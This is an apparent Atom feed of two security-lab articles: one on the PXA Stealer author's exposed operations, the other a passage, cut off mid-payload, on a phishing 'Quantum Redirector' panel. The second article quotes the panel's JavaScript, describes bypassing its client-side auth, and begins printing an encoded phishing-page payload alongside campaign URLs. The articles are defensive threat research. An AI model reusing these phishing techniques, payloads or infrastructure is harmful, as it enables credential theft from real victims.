<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Beazley Security Labs Articles</title>
  <link href="https://labs.beazley.security/articles" rel="alternate"/>
  <id>https://labs.beazley.security/articles</id>
  <updated>2025-10-30T07:00:00.000Z</updated>

  <entry><title>Chasing a Ghost : PXA Stealer Part 2</title><link href="https://labs.beazley.security/articles/chasing-a-ghost-pxa-stealer-part-2" rel="alternate"/><updated>2025-10-30T07:00:00.000Z</updated><published>2025-10-30T07:00:00.000Z</published><id>https://labs.beazley.security/articles/chasing-a-ghost-pxa-stealer-part-2</id><content type="html"><![CDATA[<div class="rtf"><h3 class="rtf-title">Executive Summary</h3><p>In August, Beazley Security Labs and SentinelOne Labs published collaborative research a python infostealer caught with a novel delivery method. Our team originally begun our investigation after our <a href="https://beazley.security/solutions/mxdr">MDR team</a> identified and contained the activity in a Beazley Security client environment. In part one of of this series, we focused primarily on analysis detailed the deception-ridden infection chain and capabilities of the final Python based infostealer payload, dubbed PXA Stealer.</p><p>In part two, we’ll detail how operational missteps from the threat actor revealed uncommon insights into infrastructure, operations, and the development of capabilities by the threat actor that are not usually seen by responders and cyber security researchers.</p><p>Do you want to see screenshots from a threat actor’s computer as they develop an infostealer and delivery campaign? Then read on.</p></div><div class="rtf"><h3 class="rtf-title"><hr class="w-full ml-auto"/></h3><h1>Background and Context</h1><p>In August, Beazley Security’s <a href="https://beazley.security/solutions/mxdr">MDR team</a> <a href="https://labs.beazley.security/articles/ghost-in-the-zip-or-new-pxa-stealer-and-its-telegram-powered-ecosystem">responded to and contained</a> an attempted infostealer infection campaign in a client environment, which we later identified as PXA Stealer. In collaboration with colleagues from <a href="https://www.sentinelone.com/labs/ghost-in-the-zip-new-pxa-stealer-and-its-telegram-powered-ecosystem/">SentinelOne Labs</a>, our analysis of the infection chain revealed several notable deception techniques targeting not only the intended victim but also responding SOC analysts. As a quick refresher, below is the attack chain diagram from that analysis:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/2pLijM8iK25jadCMWq3etr/3c271973bb59a1fa6bdf13a3cad32d94/pxa2-attack-chain.png" alt="pxa2-attack-chain" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 1: PXA Stealer infection chain</i></p><p>Modern day malware operations like the one described have become fully-fledged criminal enterprises complete with software development lifecycles, cloud infrastructure, and even customer service components, and it is common to gain <i>a little</i> visibility into these elements when responding to incidents. For example, when analyzing the Python components of PXA Stealer, we were able to identify the telegram channels where stolen data was being warehoused for eventual sale:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/2tSyXS0BRYeKmRZU5DwUxH/bd5f4217e73a262fc0501a72467c2cf7/pxa2-blog-pxa-tg-framed.jpg" alt="pxa2-blog-pxa-tg-framed" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 2: Original analysis and discovery of Telegram infrastructure</i></p><p>However, during this initial analysis, we discovered something uncommon that gave us a whole new level of insight.</p><p></p><h1>QA Testing or Operational Misstep?</h1><p>As mentioned in the previous article, we started with two big clues as starting points for threat intelligence analysis:</p><p>The threat actor referenced their handle “LoneNone” in various places in their infrastructure (most notably in the subdomain of the Cloudflare worker), and</p><p>We were able to identify some of the Telegram channels “LoneNone” was using in their operations</p><p>When we started digging into the Telegram infrastructure, a colleague from SentinelOne quickly noticed a very enticing set of credential packages. As often happens in these team research chats, there is sometimes an “ah ha!” moment that leads to breakthroughs, and this was certainly one of them:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/7FCCxakJosDcIMOBoCESym/9bce335de953f2b572f45297e830f11e/pxa2-blog-ahha.jpg" alt="pxa2-blog-ahha" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 3: ‘Ah ha!’</i></p><p>It turns out that LoneNone had run PXA Stealer on <i>one of their own machines</i>, and the malware dutifully packaged up whatever credentials, screenshots, and other data it could hoover up and uploaded them right into the same Telegram channel our teams happened to be monitoring.</p><p>Now, to be clear, we don’t know if this was the threat actor testing the malware for verification, or if this was an actual mistake, but we were not about to look a gift horse in the mouth. We wanted to see what we got …</p><p></p><h1>The “loot”</h1><p>… and it was <b>a lot.</b> Turns out PXA Stealer ran on LoneNone’s own computers around <b>30 times</b>, and each execution created a “package” for upload to telegram.</p><p>As mentioned before, cybercrime is an industry, and malware authors are now in competition with each other to create better, faster, stealthier, more feature rich malware to boost their sales. Infostealers accordingly have evolved to steal not only passwords, but data from browser autofill, crypto wallets, VPN software, file transfer applications, API tokens, anything not virtually bolted down. So, we suddenly had access to all that data from one (some?) of LoneNone’s operational computers:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/6WlZi0P6PRVuAbtPGM27Bx/e8c42123f73a0d8a78329a24682ecd94/pxa2-blog-pkgs.jpg" alt="pxa2-blog-pkgs" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 4: All the packages on the left, and partial contents of one package on the right</i></p><p>We don’t often get a chance to study a cybercriminal operation quite this closely and with this much data to sift through, so we rolled up our sleeves and started organizing and making sense of what type of data we had access to. As part of our analysis, we were able to organize the various accounts into two general categories:</p><p></p><h2>Infrastructure used to facilitate attacks</h2><p>These are accounts for systems and services used to carry out attack campaigns. Some are legitimate services, while some exclusively cybercriminal services such as:</p><ul><li><p>Social media accounts used to advertise and/or push malware</p></li><li><p>Legitimate service accounts to host malware components</p></li><li><p>Cybercriminal services used to facilitate attacks (like bullet proof hosting providers, binary crypters, and network traffic proxies)</p></li></ul><img src="//images.ctfassets.net/2nw9zhl2ydi6/7CyqxlQwdCJiaTumoIg4Qf/2e4fde59d0ef571b9d30477db1d5197c/pxa2-blog-infra.jpg" alt="pxa2-blog-infra" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 5: Attack Infrastructure</i></p><p></p><h2>Accounts to sell data stolen by the PXA infostealer</h2><p>These accounts are mostly used to warehouse stolen data and help facilitate the sale of it to other cybercriminals. This included:</p><ul><li><p>Crypto currency wallet data</p></li><li><p>Communication apps like Telegram and Jabber</p></li><li><p>Accounts to well-known cybercriminal forums and marketplaces</p></li></ul><img src="//images.ctfassets.net/2nw9zhl2ydi6/2CIN6iPAYQhnUwKbNtQ2lr/08ba13b48912aeee5ed6aa6e04228d6e/pxa2-blog-fence.jpg" alt="pxa2-blog-fence" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 6: Black Markets</i></p><p>To be clear, some of the services pictured above were <i>not </i>part of the data set, they have been included to comprehensively illustrate each category. Additionally, many of the accounts we gained visibility into no longer worked or led to dead ends. This lends credence to the theory that the computer(s) LoneNone ran PXA Stealer on were likely operational or development boxes, and potentially not personal computers.</p><p>For an example account, we quickly honed on an XSS[.]is forum account. XSS is a well-known, gated cybercrime community where a significant number of well-known cyber-criminal groups do “business”. Alas, that specific account had already been de-activated. We also ran into similar walls on some operational accounts, such as LoneNone’s CrazyRDP account, where a VPS had been deactivated because of a past-due invoice:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/3Woxx7HalEnEnlW5SXGTGx/9270b636836a20b80b91fbdcaf63f725/pxa2-blog-crdp-overdue.jpg" alt="pxa2-blog-crdp-overdue" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 7: Past-due bills</i></p><p>There were some accounts, however, that generated great investigative leads.</p><p></p><h1>The Evolution of a Cyber Criminal Operation</h1><p>In the dataset, we discovered four different GitHub accounts that used the same password scheme:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/4M3AyjNuDOC3HImd2g8jsh/5c81ebf669cd0a35f11ea9eae5952e46/pxa2-blog-gh-accounts.jpg" alt="pxa2-blog-gh-accounts" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 8: GitHub Accounts</i></p><p>Unfortunately, we once again ran into four deactivated accounts. However, for GitHub specifically, there is a workaround! <a href="https://clickhouse.com/">ClickHouse</a> is an organization that created an open-source DBMS / “big data” system, and as a demonstration of their capability, they maintain a publicly searchable real-time index of <a href="https://clickhouse.com/demos/explore-github-with-clickhouse-powered-real-time-analytics">all GitHub public actions</a>. A very interesting side effect of that fantastic project is that we have a very powerful CTI research tool that enables us to identify historical (and now deactivated) GitHub repositories. As part of our research, we aimed that tool at LoneNone’s GitHub and found the following:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/44fFe8kfcvfqjkC5v1P1mK/05ec529789a9450b03c6e2746a83a2e3/pxa2-blog-clickhouse-fixed.jpg" alt="pxa2-blog-clickhouse-fixed" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 9: Since-deleted LoneNone GitHub repositories</i></p><p>Combine the above results with the <a href="https://archive.org/">WaybackMachine</a> and we can take a peek at some of this defunct infrastructure hosted on GitHub. As we started to investigate these repos, we found some prior research into these Github repos that was published. Last year, Xavier Mertens wrote an article for Sans with some excellent reverse engineering work on components referencing the “RedAV” and “martin” repositories shown in the screenshot above. That excellent article absolutely deserves a read and can be found <a href="https://isc.sans.edu/diary/31204">here</a>.</p><p>Xavier showed that the sample he studied will:</p><ol><li><p>retrieve a Python310 environment package from the “RedAV” repo</p></li><li><p>retrieve encoded objects from the “martin” repository</p></li><li><p>decode those objects into Python scripts that reference the name ‘REDAV’</p></li><li><p>eventually download and install third-party commodity malware XWorm (a known Remote Access Trojan) and Redline (an infostealer)</p></li></ol><p>To be clear: LoneNone was <b><i>not</i></b> using GitHub to store project source code for the purposes of change control and version tracking. They <b><i>were</i></b> however abusing GitHub to stage and transmit <b><i>encoded components</i></b> of a malware infection chain.</p><p>Armed with this knowledge, we looked through the other repositories and confirmed similar contents (outlined by the repo pictured below):</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/4csCMdDjWXIbjavpi73f5E/787691e3415ed4a2fe9b9aea6f927434/pxa2-blog-repo-ex.jpg" alt="pxa2-blog-repo-ex" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 10: XRAT repo on the right, decoded ‘load’ component on the left</i></p><ul><li><p><b>XRAT</b>: RedAV + XWorm + Redline</p></li><li><p><b>SoftwareH4X</b>: RedAV + XWorm + Redline</p></li><li><p><b>gialong1807</b>: RedAV + XWorm + Redline</p></li><li><p><b>himark68:</b> RedAV + XWorm + Redline</p></li><li><p><b>mark-xrats</b>: RedAV + XWorm + Redline</p></li></ul><p>Additionally, our analysis of the “RedAV” repository revealed references to the ‘avavavavva’ repository, which had Python code snippets similar to the above, but instead had the name ‘REDDEFENDER’, possibly showing different malware names LoneNone was experimenting with.</p><p>Taking a step back from this tangled web of encoded GitHub objects that call and reference each other, we paused to take a “thousand-foot view” and noticed the following timeline:</p><ul><li><p>August 2024 – Xavier Mertens publishes analysis on LoneNone’s RedAV+XWorm+Redline campaign</p></li><li><p>August 2024 – WaybackMachine’s archives <b>last</b> snapshot of all LoneNone’s GitHub repos</p></li><li><p>November 2024 – Cisco Talos published <a href="https://blog.talosintelligence.com/new-pxa-stealer/">first report</a> of PXA Stealer</p></li></ul><p>So, we believe we are looking at the evolution of LoneNone’s cybercriminal operations. In 2024, they were using GitHub to stage and deliver RedAV, XWorm, and Redline. Now, in 2025, they have completed and deployed their very own PXA Stealer using the much more robust paste[.]rs and 0x0[.]st (detailed in our previous blog) for staging and delivery.</p><p>This makes good business sense, as XWorm and Redline are both commodity malware, so budgeting for them would affect profits:</p><table><tbody><tr><th><p><b>Malware Campaign Component</b></p></th><th><p><b>2024: Old and Busted</b></p></th><th><p><b>2025: New Hotness</b></p></th></tr><tr><td><p>Malware Object Staging and Delivery</p></td><td><p><b>GitHub</b> – well known, historically indexed and searchable, possibly susceptible to takedown requests</p></td><td><p><b>paste[.]rs and 0x0[.]st</b> – anonymous and ephemeral “pastebin style” sites, much less friendly to historical searching by pesky cyber researchers</p></td></tr><tr><td><p>RAT</p></td><td><p><b>XWorm</b> – Third party, requires budget, eats into profit</p></td><td><p><b>N/A</b> – saves money!</p></td></tr><tr><td><p>InfoStealer</p></td><td><p><b>Redline</b> – Third party, requires budget, <a href="https://www.justice.gov/usao-wdtx/pr/us-joins-international-action-against-redline-and-meta-infostealers">forced to trust their infrastructure</a>, eats into profit</p></td><td><p><b>PXA Stealer</b> – malware now in-house, saves money!</p></td></tr></tbody></table><p></p><h1>Copyright Infringement Lures: Work With What You Know</h1><p>There’s another thing we noticed about LoneNone’s older RedAV/XWorm/Redline campaign from last year: some of the malware component repositories contained archives that appear to be spam lures:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/4ms0fuY1qUmsXMzv6giI4Q/38ac1a3673189f51468cf0330f09b0c8/pxa2-blog-copy.jpg" alt="pxa2-blog-copy" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 11: Copyright Lures</i></p><p>This caught our eye because copyright infringement was the theme of the original spam lures sent to our client as outlined in our original blog post:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/1kSEtaTa449IaYOgL9PcV4/93cfb0e7b28ea914126bb8ded2e5b02c/pxa-2-blog-prevlure-framed.jpg" alt="pxa-2-blog-prevlure-framed" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 12: Different malware campaign, same lure</i></p><p>As we continued our investigation, one of our Beazley Security researchers decided to investigate the “uninteresting” accounts in the dataset. There are a handful of accounts that don’t (at first glance) seem to offer any operational capability to a malware campaign, like Netflix and PyPi. One of the other accounts that we originally passed over was for `dmca.com`. Not to be confused with the related, but separate entity that is the DMCA law, dmca.com is a private, commercial organization that provides a service to monitor and send DMCA takedown requests on behalf of customers.</p><p>When we studied LoneNone’s DMCA account we found that they not only registered two Vietnamese language gambling related websites for copyright infringement monitoring and protection services:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/4lGMiEzIIg3en3vFVM7OnO/39f4f8e5fab7cfe5cd22b3d298643258/pxa2-blog-protected-sites.jpg" alt="pxa2-blog-protected-sites" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 13: Two VN gambling sites registered for protection</i></p><p>They had even submitted a takedown request of their own:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/3w3Jsbdd3TCr1kawYVyo9p/f7afe13899b52e3b94e0fcd87998f984/pxa2-blog-takedown.jpg" alt="pxa2-blog-takedown" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 14: DMCA Takedown Request</i></p><p>We’re unsure what LoneNone’s interest is in protecting those gambling related sites, and we don’t know the context behind the filed takedown request, but we believe it’s safe to say this threat actor had some kind of affiliation with Vietnamese gambling sites and the takedown request was part of that relationship.</p><p>Aside from being an interesting sidenote in this person’s activities, we believe this is why LoneNone seems to favor copyright infringement themes for their spam campaigns: it’s simply something they are familiar with and can make convincing fake documents for.</p><p>Also, we are not the only research group that is tracking copyright lures from this exact threat actor; this has been observed and reported by phishing defense company Cofense as well, which you can read about in their blog <a href="https://cofense.com/blog/inside-vietnamese-threat-actor-lone-none-s-copyright-takedown-spoofing-campaign">here</a>.</p><p></p><h1>Hey look, I recognize those IoCs!</h1><p>By far the most amusing uploaded objects we had access to though were <b>desktop screenshots</b> of LoneNone’s machine. Infostealers are commonly created with screenshot capabilities, for times when there may be an application containing valuable information that the malware maybe wasn’t programmed to scrape for data. In our case, the screenshot of the threat actor’s desktop revealed a whole load of interesting operational information we wouldn’t otherwise know:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/6wv6mZWkSkXMo4odUCOsXu/676585e77d66f22ee818fbbe080ae3cf/pxa2-blog-desktop_compile.jpg" alt="pxa2-blog-desktop compile" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 15: Malware internal name (PXA), analysis tools, component objects, targeted software</i></p><p>The above screenshot shows a working folder confirming the internal name the author gave the malware (PXA), a supposed DLL that has a system name similar to the one used as a side load payload in our original MDR case (msimg32.dll), legitimate document software that coincides with a previously reported campaign from this threat actor (Haihai soft), and the malware author’s handle (LoneNone), found on a file with an icon indicating it is a binary debugger tool called x64dbg.</p><p>We also had screenshots showing:</p><ul><li><p>Testing the deceptively named ‘images.png’ WinRAR app from our original article</p></li><li><p>Logged into a Telegram channel called ‘Adonis – XWorm’, which Beazley Security asseses to be related to last year’s campaign</p></li><li><p>A program (process hacker) monitoring the CocCoc browser, a Vietnamese language browser which was also mentioned in our original article</p></li></ul><img src="//images.ctfassets.net/2nw9zhl2ydi6/6MS1fNVsV6lteVFQVplCTT/89f0e6bf03753eae6b33b7bad1867192/pxa2-blog-desktop2-redact.jpg" alt="pxa2-blog-desktop2-redact" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 16: old Telegram, targeted browsers, new attack chain components</i></p><p><i></i></p><h1>Malware Campaign Telemetry; Straight from the Source</h1><p>Above all, the best (funniest) accounts we discovered were for the Kleenscan and Cloudflare services. Those accounts were directly used to test and deploy attack components used in the very campaign launched against our client. Kleenscan is, on the surface, a comprehensive file scanning service similar to what VirusTotal provides. However, they explicitly state on their site that they “do not distribute”, meaning they do not share scan results with the cyber security community or the antivirus vendors. <b>This means their service is intended for malware authors to keep scanning and crypting their payloads until they are “Fully Undetected” (FUD</b>). As such, you can find them advertising on cybercriminal forums such as Hackforums and BlackHatWorld.</p><p>LoneNone has been using Kleenscan for a while, and we were able to identify scans of files that looked like they were from past campaigns, even older than last year’s RedAV/XWorm/Redline campaign. The best finding however, was the below scan<b> showing them verifying the very same sideload payload that we later saw used against our client</b>. LoneNone checked it repeatedly, right up until they launched their attack:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/mqGfXCjdQaromDveyceyw/ffb8bdcf0632565ee9faade589b536cf/kleenscn-dll.png" alt="kleenscn-dll" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 17: LoneNone testing payloads used against our client</i></p><p>We also had reviewed the Cloudflare account used to deploy the worker instance used as a hop to hide the Telegram C2 endpoint. This domain was the same domain we saw as part of the attack campaign we unravaled in our first blog.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/1ZBJQcfyCVClD0Fg7vAvW9/6be6d9cd16a3d245f177e05c73bbec53/pxa2-blog-cf-worker.jpg" alt="pxa2-blog-cf-worker" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 18: Cloudflare configuration page for the C2 redirector</i></p><p>So naturally, we worked to get insight, telemetry, and traffic data for this malware campaign. Funnily enough, by the time we looked at this Cloudflare panel, the free rate limits imposed by Cloudflare had already already been reached. By then, the domain was publicly known so it’s likely bots and researchers were hammering the worker app. However, we were still able to get pretty telemetry graphs and maps, straight from the source!</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/7uQsK758gR7FqnoMnSub3s/a3ee4a01cbeca7a3134cac7d77e1c056/cf-telem-clipped.jpg" alt="cf-telem-clipped" style="max-width:100%;"/><p class="figure-reference italic-paragraph"><i>Figure 19: Marketing friendly graphs and charts!</i></p></div><div class="rtf"><h3 class="rtf-title">Conclusion</h3><p>Most security analysts and responders that work have an understanding of the typical attack chain elements; after all, they’re the parts of a malware campaign that play out in our own and our clients’ environments. These are the components of the “attack chain” that we see on a daily basis.</p><p>Every now and then, however, we get opportunities to go “backstage” and peek behind the curtain at the preparation and monetization infrastructure that isn’t often seen. While they may not seem as relevant to the protection of client assets, this type of research can provide valuable insight to motivations and capabilities that we would otherwise not see.</p><p></p><h1>Sources</h1><ul><li><p><a href="https://clickhouse.com/demos/explore-github-with-clickhouse-powered-real-time-analytics">Clickhouse: Explore GitHub stats with ClickHouse</a></p></li><li><p><a href="https://isc.sans.edu/diary/31204">SANS ISC: From Highly Obfuscated Batch File to XWorm and Redline</a></p></li><li><p><a href="https://blog.talosintelligence.com/new-pxa-stealer/">Cisco Talos: New PXA Stealer targets government and education sectors for sensitive information</a></p></li><li><p><a href="https://www.justice.gov/usao-wdtx/pr/us-joins-international-action-against-redline-and-meta-infostealers">US DOJ: U.S. Joins International Action Against RedLine and META Infostealers</a></p></li><li><p><a href="https://cofense.com/blog/inside-vietnamese-threat-actor-lone-none-s-copyright-takedown-spoofing-campaign">Cofense: Inside Vietnamese Threat Actor Lone None’s Copyright Takedown-Spoofing Campaign</a></p></li></ul></div>]]></content><summary type="html">A follow-up to a previous article on LoneNone and his PXA Stealer malware where we detail some rare insights into the malware author's back-end operations and the evolution of their capabilities.</summary></entry><entry><title>Quantum Redirect: Offense by Vibes</title><link href="https://labs.beazley.security/articles/quantum-redirect-offense-by-vibes" rel="alternate"/><updated>2025-10-27T23:00:00.000Z</updated><published>2025-10-27T23:00:00.000Z</published><id>https://labs.beazley.security/articles/quantum-redirect-offense-by-vibes</id><content type="html"><![CDATA[<div class="rtf"><h3 class="rtf-title">Executive Summary</h3><p>What could go wrong when an attacker sends a phishing email to a security company? Let's find out.</p><p>Beazley Security Labs recently helped our internal InfoSec team investigate a moderately well-built phishing email and promptly stumbled into something special: a “Quantum Redirector” <b>admin panel before we ever saw the final phishing payload</b>. The operator tried to use this &quot;Quantum Redirector&quot; to hide their phishing kit, sending “bots” and researchers to benign sites (like google.com) while funneling real people to slightly better put together phishing kits. All of this was “protected” by client-side auth that we bypassed in seconds.</p><p>Working to unravel the campaing,  we were able to grab “human” redirect URL and worked to reverse engineer the layers of <b>AI-flavored obfuscation </b>that ultimately lead to a phishing kit. This kit  attempted to use several methods to prevent deobuscation and to identify &quot;real humans&quot; vs security tooling.  

As part of our research and analysis, in partnership with <a href="https://www.onlyscans.com/about">OnlyScans</a>, we worked to to identity other deployments of the <i>&quot;Quantum Redirector&quot;</i> toolkit used in this phishing campaign, mapped the threat actor’s infrastructure, and are sharing key indicators of compromise (IOCs) to help others defend against similar activity. We’re also collaborating with our federal law enforcement partners to take down this infrastructure. </p><p>Interested in why we think this is likely to be AI slop? Check out the rest of the post. </p></div><div class="rtf"><h3 class="rtf-title"><hr class="w-full ml-auto"/></h3><p>Hear ye! Hear ye! What maketh a competent and proud hacker from times immemorial is but lost in the sea of modern AI-generated slop. We here at Beazley Security Labs yearn back to the days when the hackers would re-flash firmware, chain multiple zero-days, and drop exploits so convoluted that several PhDs would lay awake at night fearing their partners would soon compare them to the 31337. </p><p>There have always been script-kiddies and skids that might catch a stray, but for most of our history they have been limited by a lack of focus, and slow fingers. Alas, these vuln-vultures now have an extraordinarily fast, yet equally incompetent automaton big brother in LLMs. We are now drowning in the sea of slop from these wannabes. With this post we get to continue answering the question &quot;What do you get when you cross a shell-baby with access to ChatGPT and mommy and daddy's money, and cheap SaaS platform proliferation?&quot;</p><p>Beware... The Slop-man cometh.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/66Om1uhQDM4dApJfNb3vys/8c91a2c5c536526feee70e0986ba9f8c/phishing_domains_captchas.png" alt="QuantumRedirect-Banner" style="max-width:100%;"/><h2>Where it all began
</h2><p>Our story begins when several of our colleagues informed our internal security team of a moderately well constructed phishing email targeting Beazley Security. This is always music to our ears; better to hear about phishing campaigns from the recipients than from the XDR logs. But who would be foolish enough to target a company full of security folks? You would be letting the very people trained to identify and prevent these attacks get a head start on blocking your payloads? This phishing email on first blush appears decently put together, just littered with the same non-native English we have come to expect in phishing emails. This could be fun. Let’s dig deeper. </p><img src="//images.ctfassets.net/2nw9zhl2ydi6/1cdDVvmU1UNeqXcxAfwvCV/e130e6beefb1137ec8a7a15affc989f2/phish.png" alt="QuantumRedirect_Phish" style="max-width:100%;"/><p>The &quot;? Play Recording&quot; button routes to <code>https://consultoriapericial[dot]com/B</code>. So like any good research team would, we spin up a burner box and start poking around. Fortunately, we don’t have to look far. This domain immediately redirects to <code>www.lgkkt.baykarmobilya[dot]com/quantum.php</code> and then to some final phishing payload. </p><p>Before we dig deeper into the final payloads, any time you are getting thrashed about in redirects it’s likely you are dealing with an attacker that wants to make it hard for defenders to understand their attack chain and does not want to burn their infrastructure. The final payload is likely to be nuked from orbit when enough people catch on and start reporting it, so the intermediate steps are usually worth logging as IoCs. Let's make note of this intermediate hop, and dig a little deeper by seeing if it's hosting anything else.</p><p>A simple request of the index on <code>lgkkt.baykarmobilya[dot]com</code> returns a 200. Dope! Let's see what this webserver is serving:</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/2i6MQbUHpzkpN5dK2knOgO/0390502e3b5f32ea92a292ba1ff68db7/Pasted_image_20251027095805.png" alt="QuantumRedirect_Landing" style="max-width:100%;"/><p>Quantum Route Redirect? This looks like some sort of bootstrapped admin page from a bygone era. With any name like &quot;Quantum&quot; you can guess it was AI generated. As fun as it may be to see where this phishing payload ends up, if you are like us you can't see something as stupid as this and not dig in, let's see if can get more insight regarding this admin panel. This is where we have to hunker down and brace ourselves for some reverse engineering, probably some obfuscated mess of functions, and a night of untangling spaghetti.</p><p>Let's take a peek at the code:</p><p><code>lang:javascript
function attemptLogin() { 
    const password = document.getElementById('loginPassword').value; 
    if (!password) { 
        showLoginError('Please enter a password'); 
        return; 
    }
    fetch('admin_auth.php', { 
        method: 'POST', 
        headers: { 'Content-Type': 'application/json' }, 
        body: JSON.stringify({ action: 'login', password: password }) 
    }) 
    .then(response => response.json()) 
    .then(data => { 
        if (data.success) { 
            document.getElementById('loginPassword').value = ''; 
            showAdminPanel(); 
        } else { 
            showLoginError(data.message || 'Login failed'); 
        } 
    }) 
    .catch(error => { 
        showLoginError('Login error: ' + error.message); 
    }); 
}</code></p><p>Oh... Alright then...</p><p>At this point a reasonable defender may be concerned that this may be a trap of some sort. I mean, who would direct their targets through a route that contains their admin panel?! And worse, who would put <b>client-side auth in front of redirection administration tools</b> used in an active phishing campaign!? This feels like it must be a honeypot made for those &quot;hack-back&quot; folks. That, or this attacker paid someone on Fiverr to write their redirector panel. At this point, we have only one way to find out, so let’s just clear out the client-side auth and render the page. </p><img src="//images.ctfassets.net/2nw9zhl2ydi6/JCrwWF0rHFLX1Cda6hSEF/9f1364b297351ea9b7ee98868909ea4d/Quantum_Clean.png" alt="QuantumRedirect_AdminPanel" style="max-width:100%;"/><img src="//images.ctfassets.net/2nw9zhl2ydi6/4zMDLrfHw9yhdVrHNwlhnf/7efa74695d0fd34f00a30fb330bdcfe0/Pasted_image_20251026150509.png" alt="QuantumRedirect_Slop" style="max-width:100%;"/><p>It's a rare experience that we get access to an admin panel before we observe a phishing campaign's payload. Looking at more of this JavaScript we can see the following:</p><p><code>lang:javascript
function loadCurrentUrls() {
    fetch('get_config.php')
        .then(response => response.json())
        .then(data => {
            document.getElementById('humanUrl').value = data.humanUrl || '';
            document.getElementById('botUrl').value = data.botUrl || '';
            
            // Show API key status WITHOUT calling API
            if (data.apiKeyConfigured) {
                document.getElementById('apiKey').placeholder = 'API key configured (••••••••)';
            } else {
                document.getElementById('apiKey').placeholder = 'Enter your API key';
            }
        })
        .catch(error => console.error('Error loading URLs:', error));
}</code></p><p>We here in the Labs team <b>love</b> to larp as hackers, and a big component of pretending to be a hacker is knowing to look at configs when they are presented. Let's curl <code>get_config.php </code>(without any auth) and see what comes back:
</p><p><code>lang:json
{&quot;success&quot;:true,&quot;humanUrl&quot;:&quot;https:\/\/web.vynqex.sa.com\/gxr4Q@TyWL7Y7D7SOYlD\/&quot;,&quot;botUrl&quot;:&quot;https:\/\/google.com&quot;,&quot;apiKeyConfigured&quot;:true}</code>
</p><p>This <code>humanUrl</code> matches the payload URL we saw in the admin panel and allows us to programmatically confirm the payloads of these redirectors.</p><p>Let's actually hit this <code>web.vynqex.sa[dot]com</code> domain and see what other treats we can gather.</p><img src="//images.ctfassets.net/2nw9zhl2ydi6/5YOx3YihrIDymEsTNcx1Bf/3af8f1d5205fe497c3e6f8b2db8fa128/Pasted_image_20251026152745.png" alt="QuantumRedirect_captcha" style="max-width:100%;"/><p>How much do you want to bet that this will also just be AI-generated slop as well? Let's check the code:</p><p><code>lang:javascript
const bu = &quot;/JAoXMHbQPEuJu3njlZ3GWZeETHTsXJU578l9PUTSqk2jbxeGyGmYE2Pm51GJOktPjHpNeN5vLwkz9tjve+c/huSB/CbiXUn3PoDjd9p52eHliv2CEWGm+54wfzTU57ztddpCp1UAcbGao9MxMGmfJCkvOL2aI60bN8RQE2gQy0dfebYkip1PFjSOdc/F1heElZaObCXPRLOGeJx4ZCBRaI19scUMPTdg62KCUJUHKNt9aq2QaJ9VV/C03JHsTHfvOBgoxJn0SnZwulolFI+38v5e9JIDSFHRUOQqmSBDykaG6Ls8R6ZWQXFw705a88dw3YO9qYY8OMyrvvmhHi/60mAgVdiGI0PVQUkjlT9NXJKvjI0cHMi9pKJJY0wIGC7QFLzE/fTa+Oe+4dedmRG4mXAFEoFrvi0fiwIWiNKHcoL5bvOfT9AlbYg1IqNI4BbfPYXwAMDlkL+s7BvqBw1PF3s5fLPxCgDvvKU5Fd0EYv6HJJs3l/LiUfBMNPpiQTEARlqUA4nFaBziRxSkA7yGL/K/BNUg9Qe25KcMliwH7QuG1pYCYYEw5sXEoENeySHvDZ8joI9pO4CNHkv4iPN/XgDFeawZWKN+5cFokwpoGijTe84JJEbhsRYdvArYnFhefqz6TYa+F/nZIiBPUgwjSXlAnhiZ4QalXV/x0WXPmOLnaJNFEJASm51lRaqxRg2H6VHSPSSUNNtFvARkRT7LE4WL3LUdBd+2NTFrGbSFWGCZRJ2hYMePeSc1GTT0yf6WfIjIzV612LBUGElTAR6XlUVm0Rra7BKZY92XNxdIjuHPxjQAi7JoB2MucJikp8v1pEcfl8Cwamc7Su+XzdFjhV+J+vIsmkbFXoWAqosy0IZeHsiC+okFjSawhRBr9vHekoLmgNNzh+n0PXGi4C7VWJPYDRicVnXppPUIROQG/1K3+SjS8hUxyTMjRHx2pmLUdS8lNtyMciynCR0N7n2jGjnPd7PHPZqU3NEWvmyhqipGp60U5pESvkGJ4x0O7psu2DqXCuinK4sNqnhZF5DYiWB6xlxNhwOl7FHVL5fre6/O/6GbXBgTS6hUmUNPBknFURDCtIq1xrTKGdO2P1oCy0TKFkl2i9eGH0J5y3ADQYOx8SB9bGgxAw2u8WDHV1poLu76hKy0qysLYg7MIHdLyF0